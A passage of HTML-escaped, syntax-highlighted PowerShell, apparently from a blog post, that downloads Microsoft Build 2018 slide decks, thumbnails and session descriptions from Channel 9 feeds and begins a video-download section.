style=&#34;color:#a6da95&#34;&gt;&amp;#34;œ&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-not&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Test-Path&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;)) { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Folder &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; doesnt exist. Creating it...&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; -type directory 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Make sure the PowerPoint file doesn&amp;#39;t already exist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)) {   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Echo out the file that&amp;#39;s being downloaded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f4dbd6&#34;&gt;$wc&lt;/span&gt; = (&lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Net&lt;/span&gt;.WebClient)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the pptx file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;Invoke-WebRequest&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$urlpptx&lt;/span&gt; -OutFile &lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt;\&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# download the jpg but don&amp;#39;t want to break if this doesn&amp;#39;t exist; hence the nested try blocks&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;thumbnail&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-ne&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$urljpg&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Uri&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;thumbnail&lt;/span&gt;.url)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)) {    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$wc&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;DownloadFile&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$urljpg&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Image (jpeg) &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; doesn&amp;#39;t exist ... eating the exception and moving on ...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;mv &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#mv $filejpg $folder &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            } &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#endif&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;PPTX: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; exist; skipping download.&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#try and get the sessions details&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f4dbd6&#34;&gt;$descriptionFileName&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Code&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;())&lt;span style=&#34;color:#a6da95&#34;&gt;.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$descriptionFileName&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$OutFile&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; -type file &lt;span style=&#34;color:#f4dbd6&#34;&gt;$descriptionFileName&lt;/span&gt; -Force  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Content&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Title: &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ToString&lt;/span&gt;().&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;() + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Presenter: &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;creator&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Summary: &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;summary&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ToString&lt;/span&gt;().&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;() + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Link: &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;comments&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ToString&lt;/span&gt;().&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;() 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#some categories are missing; so need to eat the exception&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#this is a hack and not very elegant&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;category&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-ne&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Content&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Content&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Category: &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;category&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ToString&lt;/span&gt;().&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;().&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;+&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#do nothing; eat the exception&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#91d7e3&#34;&gt;add-content&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$OutFile&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Content&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Message&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ItemName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\t&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        } &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#end-loop foreach&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*************** Downloading all the decks complete ***************&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Oops, could not find any slides.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Message&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ItemName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\t&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#download session-deck &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# ********** download the videos **********&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# if you don&amp;#39;t want the video but only the slides just comment all the code below in the foreach loop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# check for video download&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$sessionvideo&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;switch&lt;/span&gt; (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$videoquality&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; {&lt;span style=&#34;color:#f4dbd6&#34;&gt;$video&lt;/span&gt; = (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;downloadstring&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;http://s.ch9.ms/events/build/2018/rss/mp3&amp;#34;&lt;/span&gt;)); &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt; {&lt;span style=&#34;color:#f4dbd6&#34;&gt;$video&lt;/span&gt; = (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;downloadstring&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;http://s.ch9.ms/events/build/2018/rss/mp4&amp;#34;&lt;/span&gt;)); &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;}
